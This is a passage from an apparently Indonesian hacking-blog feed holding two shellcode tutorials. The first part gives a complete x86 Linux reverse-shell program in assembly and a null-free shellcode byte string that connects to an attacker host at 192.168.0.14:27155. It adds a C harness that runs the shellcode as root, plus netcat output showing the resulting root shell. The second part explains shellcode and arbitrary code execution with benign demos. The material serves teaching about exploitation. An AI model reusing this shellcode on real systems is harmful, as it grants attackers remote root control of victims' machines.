        execve<span style="color: #009900;">&#40;</span>shell<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>shell<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p align="justify">
Sebelum kita compile dan eksekusi, kita siapkan dulu di komputer attacker server yang listen di port 27155 dan port 192.168.0.14. Sistem operasi komputer attacker adalah windows dan attacker memakai <a href="http://joncraton.org/blog/netcat-for-windows">netcat for windows</a> untuk membuat server sederhana seperti di bawah ini.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">C:\&gt;nc -lvn -p 27155
listening on [any] 27155 ...</pre></div></div>

<p align="justify">
Oke setelah server attacker sudah listen di 192.168.0.14:27155. Kini kita compile dan eksekusi program reverse sebagai root untuk mensimulasikan exploit yang mendapatkan root shell.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ gcc reverse.c -o reverse
$ sudo ./reverse</pre></div></div>

<p align="justify">
Sekarang perhatikan apa yang terjadi pada komputer attacker setelah program reverse tersebut dijalankan.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">C:\&gt;nc -lvn -p 27155
listening on [any] 27155 ...
connect to [192.168.0.14] from (UNKNOWN) [192.168.0.10] 58855
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
pwd
/home/admin
exit</pre></div></div>

<p align="justify">
Ada koneksi masuk dari ip komputer target (192.168.0.10). Setelah koneksi terbentuk, attacker bisa mulai mengirimkan command untuk dieksekusi di komputer target.
</p>
<p><b>Reverse Connecting dalam Assembly</b></p>
<p align='justify'>
Tidak ada hal baru dalam shellcode ini dibandingkan dengan shellcode port binding sebelumnya, jadi tidak ada yang perlu dijelaskan lebih jauh lagi. Langsung saja kita membuat program yang sama dalam bahasa assembly.
</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">BITS <span style="color: #0000ff;">32</span>
section <span style="color: #339933;">.</span>text
global _start
_start<span style="color: #339933;">:</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #00007f;">ebx</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span><span style="color: #00007f;">edx</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;soc=socket(2,1,0)</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">eax</span> <span style="color: #666666; font-style: italic;">; push 0</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #000000; font-weight: bold;">byte</span> <span style="color: #0000ff;">0x1</span> <span style="color: #666666; font-style: italic;">; push 1</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #000000; font-weight: bold;">byte</span> <span style="color: #0000ff;">0x2</span> <span style="color: #666666; font-style: italic;">; push 2</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; ECX = address of [2,1,0]</span>
<span style="color: #00007f; font-weight: bold;">inc</span> <span style="color: #00007f;">bl</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">102</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
<span style="color: #666666; font-style: italic;">; ESI = soc socket handler</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">esi</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span> 
&nbsp;
<span style="color: #666666; font-style: italic;">;remote = connect(soc,(struct sockaddr*)&amp;serv_addr,16);</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">edx</span> <span style="color: #666666; font-style: italic;">; push 0</span>
<span style="color: #00007f; font-weight: bold;">push</span> long <span style="color: #0000ff;">0x0E00A8C0</span> <span style="color: #666666; font-style: italic;">; push sin_addr.s_addr value</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #000000; font-weight: bold;">word</span> <span style="color: #0000ff;">0x136A</span> <span style="color: #666666; font-style: italic;">; push sin_port value</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">ecx</span> <span style="color: #666666; font-style: italic;">; ecx = 0</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">cl</span><span style="color: #339933;">,</span><span style="color: #0000ff;">2</span> <span style="color: #666666; font-style: italic;">; cx = 2</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #000000; font-weight: bold;">word</span> <span style="color: #00007f;">cx</span> <span style="color: #666666; font-style: italic;">; push sin_family value</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; ECX = address of struct sockaddr</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #000000; font-weight: bold;">byte</span> <span style="color: #0000ff;">16</span> <span style="color: #666666; font-style: italic;">; push 16</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">ecx</span> <span style="color: #666666; font-style: italic;">; push address of struct sockaddr</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">esi</span> <span style="color: #666666; font-style: italic;">; push soc handler</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span> <span style="color: #666666; font-style: italic;">; ECX = address of [soc,&amp;serv_addr,16]</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">bl</span><span style="color: #339933;">,</span><span style="color: #0000ff;">3</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">102</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
<span style="color: #666666; font-style: italic;">; EBX = remote socket handler</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esi</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;dup2(soc,0)</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">ecx</span> <span style="color: #666666; font-style: italic;">; ECX = 0 = stdin file handler</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">63</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;dup2(soc,1)</span>
<span style="color: #00007f; font-weight: bold;">inc</span> <span style="color: #00007f;">ecx</span> <span style="color: #666666; font-style: italic;">; ECX = 1 = stdout file handler</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">63</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;dup(soc,2)</span>
<span style="color: #00007f; font-weight: bold;">inc</span> <span style="color: #00007f;">ecx</span> <span style="color: #666666; font-style: italic;">; ECX = 2 = stderr file handler</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">63</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;execve &quot;/bin//sh&quot;</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">edx</span>
<span style="color: #00007f; font-weight: bold;">push</span> long <span style="color: #0000ff;">0x68732f2f</span>
<span style="color: #00007f; font-weight: bold;">push</span> long <span style="color: #0000ff;">0x6e69622f</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">edx</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">ebx</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0x0b</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span></pre></div></div>

<p align="justify">
Tidak ada yang perlu saya jelaskan karena sama dengan shellcode port binding dan saya juga sudah memberi komentar untuk memperjelas di source di atas. Kita langsung saja compile dan link program assembly tersebut.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ nasm -f elf reverse.asm
$ ld -o reverse reverse.o</pre></div></div>

<p align="justify">
Sekarang kita harus mendisassemble program tersebut dan mengambil opcodenya untuk dirangkai menjadi shellcode dengan cara yang seperti port binding shellcode sebelumnya.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ objdump -d reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/&quot;/'|sed 's/$/&quot;/g'
&quot;\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x68\xc0\xa8\x00\x0e\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80&quot;</pre></div></div>

<p><b>Menghilangkan Byte Terlarang</b></p>
<p align="justify">
Oke kini kita telah dapatkan shellcodenya. Tapi kita periksa dulu apakah ada byte terlarang di dalamnya? Ternyata ada byte 0&#215;00 dalam shellcode tersebut yang berasal dari instruksi &#8220;push long 0&#215;0E00A8C0&#8243;. Byte 0&#215;00 tidak terhindarkan karena IP attacker mengandung 0, yaitu 192.168.0.14. Oleh karena itu kita harus menyiasatinya agar tidak muncul byte 0&#215;00.
</p>
<p align="justify">
Saya akan mengganti instruksi tersebut menjadi dua push, yaitu push 0&#215;0E00 dan push 0xA8C0. Push nilai 0&#215;0E00 tidak bisa dilakukan secara langsung karena itu akan menghasilkan opcode yang mengandung 0&#215;00. Oleh karena itu saya harus membuat nilai 0&#215;0E00 tanpa melibatkan angka 00 dengan cara:
</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">; DX = 0</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">dl</span><span style="color: #339933;">,</span><span style="color: #0000ff;">0x0E</span> <span style="color: #666666; font-style: italic;">; DX = 0x000E</span>
<span style="color: #00007f; font-weight: bold;">shl</span> <span style="color: #00007f;">dx</span><span style="color: #339933;">,</span><span style="color: #0000ff;">8</span> <span style="color: #666666; font-style: italic;">; 000E digeser ke kiri 8 kali menjadi 0E00</span></pre></div></div>

<p align="justify">
Dengan mengganti menjadi instruksi mov dan shl kita terhindar dari byte terlarang 0&#215;00. Berikut adalah opcode dari instruksi pengganti &#8220;push long 0&#215;0E00A8C0&#8243;. Pada opcode tersebut terlihat lebih banyak space yang dibutuhkan, tetapi di sana tidak mengandung byte terlarang 0&#215;00.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">b2 0e                   mov    dl,0x0E
66 c1 e2 08             shl    dx,8
66 52                   push   dx
66 68 c0 a8             push word  0xA8C0</pre></div></div>

<p align="justify">
Setelah mengganti &#8220;push long 0&#215;0E00A8C0&#8243; dengan 4 baris instruksi di atas, shellcode yang baru adalah seperti di bawah ini:
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ objdump -d reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/&quot;/'|sed 's/$/&quot;/g'
&quot;\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\xb2\x0e\x66\xc1\xe2\x08\x66\x52\x66\x68\xc0\xa8\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80&quot;</pre></div></div>

<p align="justify">
Kini kita siap mengujinya dengan membuat program dalam bahasa C berikut ini:
</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">char</span> shellcode<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xc0</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xdb</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xd2</span><span style="color: #660099; font-weight: bold;">\x50</span><span style="color: #660099; font-weight: bold;">\x6a</span><span style="color: #660099; font-weight: bold;">\x01</span><span style="color: #660099; font-weight: bold;">\x6a</span><span style="color: #660099; font-weight: bold;">\x02</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\xfe</span><span style="color: #660099; font-weight: bold;">\xc3</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xc6</span><span style="color: #660099; font-weight: bold;">\x52</span><span style="color: #660099; font-weight: bold;">\xb2</span><span style="color: #660099; font-weight: bold;">\x0e</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\xc1</span><span style="color: #660099; font-weight: bold;">\xe2</span><span style="color: #660099; font-weight: bold;">\x08</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\x52</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\xc0</span><span style="color: #660099; font-weight: bold;">\xa8</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x6a</span><span style="color: #660099; font-weight: bold;">\x13</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xc9</span><span style="color: #660099; font-weight: bold;">\xb1</span><span style="color: #660099; font-weight: bold;">\x02</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\x51</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\x6a</span><span style="color: #660099; font-weight: bold;">\x10</span><span style="color: #660099; font-weight: bold;">\x51</span><span style="color: #660099; font-weight: bold;">\x56</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\xb3</span><span style="color: #660099; font-weight: bold;">\x03</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x66</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xf3</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xc9</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x3f</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x41</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x3f</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x41</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x3f</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x52</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x73</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x68</span><span style="color: #660099; font-weight: bold;">\x2f</span><span style="color: #660099; font-weight: bold;">\x62</span><span style="color: #660099; font-weight: bold;">\x69</span><span style="color: #660099; font-weight: bold;">\x6e</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe3</span><span style="color: #660099; font-weight: bold;">\x52</span><span style="color: #660099; font-weight: bold;">\x53</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x0b</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span>&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        asm<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;jmp shellcode&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p align="justify">
Mari kita compile dan jalankan program dalam bahasa C di atas. Tapi jangan lupa sebelumnya di komputer attacker harus dijalankan server yang listen di 192.168.0.14:27155.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ gcc reverseshellcode.c -o reverseshellcode
$ sudo ./reverseshellcode</pre></div></div>

<p align="justify">
Mari kita lihat apa yang terjadi pada console attacker setelah shellcode dieksekusi.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">C:\&gt;nc -lvn -p 27155
listening on [any] 27155 ...
connect to [192.168.0.14] from (UNKNOWN) [192.168.0.10] 59039
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
whoami
root
pwd
/home/admin
exit</pre></div></div>

<p align="justify">
Berhasil! Kini kita telah berhasil membuat shellcode yang bisa dipakai untuk remote shellcode. Selamat anda telah berhasil membuat 2 macam shellcode yang bisa dipakai untuk remote exploit, yaitu port binding dan reverse connecting. Dalam artikel berikutnya saya akan membahas mengenai stack based buffer overflow exploit, di sana kita bisa memakai shellcode yang kita buat di artikel ini.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=3kR8EqA0K_k:gzOa1qT83I8:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=3kR8EqA0K_k:gzOa1qT83I8:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=3kR8EqA0K_k:gzOa1qT83I8:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=3kR8EqA0K_k:gzOa1qT83I8:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=3kR8EqA0K_k:gzOa1qT83I8:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=3kR8EqA0K_k:gzOa1qT83I8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=3kR8EqA0K_k:gzOa1qT83I8:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=3kR8EqA0K_k:gzOa1qT83I8:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/exploit/belajar-membuat-shellcode-part-2-remote-exploit-shellcode/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Belajar Membuat Shellcode Part 1</title>
		<link>http://www.ilmuhacking.com/exploit/belajar-membuat-shellcode-part-1/</link>
		<comments>http://www.ilmuhacking.com/exploit/belajar-membuat-shellcode-part-1/#comments</comments>
		<pubDate>Thu, 03 Dec 2009 06:25:21 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[shellcode]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=1668</guid>
		<description><![CDATA[Seringkali shellcode terlihat dalam source code exploit berbentuk untaian kode-kode hexa. Sebenarnya apa itu shellcode dan apa makna di balik kode-kode hexa itu? Dalam artikel ini saya akan menjelaskan tentang shellcode dan kita juga akan praktek belajar membuat shellcode sendiri.
Shellcode, Exploit dan Vulnerability
Shellcode, exploit dan vulnerability adalah 3 saudara kandung. Semua berawal dari keteledoran sang  [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Seringkali shellcode terlihat dalam source code exploit berbentuk untaian kode-kode hexa. Sebenarnya apa itu shellcode dan apa makna di balik kode-kode hexa itu? Dalam artikel ini saya akan menjelaskan tentang shellcode dan kita juga akan praktek belajar membuat shellcode sendiri.</p>
<p style="text-align: justify;"><strong>Shellcode, Exploit dan Vulnerability</strong></p>
<p style="text-align: justify;">Shellcode, exploit dan vulnerability adalah 3 saudara kandung. Semua berawal dari keteledoran sang  programmer sehingga programnya mengandung vulnerability yang bisa di-exploit untuk membuat program tersebut menjalankan code apapun yang diinginkan hacker (arbitrary code execution), code ini disebut dengan shellcode.</p>
<blockquote>
<p style="text-align: justify;">Dalam kondisi normal, program mengikuti instruksi yang dibuat oleh penciptanya (programmer). Hacker bisa membuat program mengikuti perintahnya dan mengabaikan perintah penciptanya dengan mengexploit vulnerability yang mengakibatkan arbitrary code execution</p>
</blockquote>
<p><span id="more-1668"></span></p>
<p style="text-align: justify;">Kenapa disebut shellcode? Bila hacker bisa membuat program mengeksekusi code apapun yang dia mau, maka code apakah yang dipilihnya? Pilihan terbaik adalah code yang memberikan dia shell sehingga dia bisa memberi perintah lain yang dia mau dengan leluasa. Oleh karena itu code itu disebut shell-code.</p>
<blockquote>
<p style="text-align: justify;">Bila diibaratkan misile: exploit adalah misilnya, sedangkan shellcode adalah warhead yang bisa diisi dengan apa saja seperti bahan peledak, nuklir, senjata kimiawi atau senjata biologis terserah keinginan penyerang.</p>
</blockquote>
<p style="text-align: justify;">Walaupun umumnya shellcode memberikan shell, shellcode tidak selalu memberikan shell. Attacker bebas menentukan code apa yang akan dieksekusi di komputer korban. Shellcode bisa melakukan apa saja mulai dari menghapus file, memformat hardisk, mengirimkan data, menginstall program baru dsb terserah keinginan attacker.</p>
<p><strong>Arbitrary Code Execution</strong></p>
<p align="justify">Arbitrary code execution adalah kondisi dimana attacker dapat menginjeksi sembarang code/instruksi ke dalam suatu proses yang sedang running, kemudian code tersebut dieksekusi. Code yang diinjeksi itu disebut dengan shellcode. Code dalam shellcode adalah dalam bentuk bahasa mesin atau opcode. Biasanya opcode ini tidak dituliskan dalam nilai binary karena akan menjadi sangat panjang, melainkan memakai nilai hexa yang lebih kompak.</p>
<p><strong>Antara Code dan Data</strong></p>
<p align="justify">
Sebenarnya code adalah data juga yang isinya adalah instruksi yang bisa dieksekusi komputer. Dalam memori, secara internal, data dan code tidak ada bedanya karena keduanya hanyalah untaian simbol 1 dan 0.</p>
<p align="justify">
Saya beri contoh simple: Apakah nilai 50 hexa atau 01010000 binary di suatu lokasi memori adalah code atau data?
</p>
<ul>
<li>Bila 50 hexa dianggap sebagai data bertipe karakter, maka itu adalah kode ascii untuk huruf &#8216;P&#8217;.</li>
<li>Bila 50 hexa dianggap sebagai code, maka itu adalah instruksi PUSH EAX (dalam mode 32 bit) atau PUSH AX (dalam mode 16 bit).</li>
</ul>
<p>
Begitu juga dengan string &#8220;ABCD&#8221;, bisa dianggap sebagai data maupun code, perhatikan contoh di bawah ini:
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">$ perl -e 'print &quot;ABCD&quot;'|xxd
0000000: 4142 4344                                ABCD
$ perl -e 'print &quot;ABCD&quot;'|ndisasm -b 16 -
00000000  41                inc cx
00000001  42                inc dx
00000002  43                inc bx
00000003  44                inc sp
$ perl -e 'print &quot;ABCD&quot;'|ndisasm -b 32 -
00000000  41                inc ecx
00000001  42                inc edx
00000002  43                inc ebx
00000003  44                inc esp</pre></td></tr></table></div>

<p align="justify">
Dalam contoh di atas ABCD secara internal disimpan sebagai 0&#215;41, 0&#215;42, 0&#215;43 dan 0&#215;44, yaitu kode ASCII dari karakter &#8216;A&#8217;,'B&#8217;,'C&#8217;,'D&#8217; (lihat baris ke-2). Namun data yang sama bisa juga dianggap sebagai code 16 bit atau 32 bit seperti pada baris ke-4 s/d ke-7 untuk code 16 bit dan baris ke-9 s/d ke-12 untuk code 32 bit.
</p>
<p align="justify">
Sekarang pertanyaannya adalah kapan suatu data diperlakukan sebagai data dan kapan diperlakukan sebagai code? Jawabannya adalah ketika suatu data ditunjuk oleh instruction pointer, atau program counter yang biasanya ada pada register EIP (IP pada sistem 16 bit), maka data di lokasi itu adalah code yang akan dieksekusi.
</p>
<blockquote><p> Data apapun yang berada di lokasi memori yang alamatnya disimpan pada EIP akan dianggap sebagai code.</p></blockquote>
<p style="text-align: justify;">
Sebagai demonstrasi, program kecil di bawah ini menunjukkan bahwa sebuah data bisa juga dianggap sebagai code bila ditunjuk oleh EIP.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #993333;">char</span> str<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;ABCHIJK<span style="color: #660099; font-weight: bold;">\xc3</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;%s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>str<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// str as argument of printf()</span>
        <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>str<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// str()</span>
        <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>


<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ gcc codedata.c -o codedata
$ ./codedata
ABCHIJKÃ</pre></div></div>

<p style="text-align: justify;">
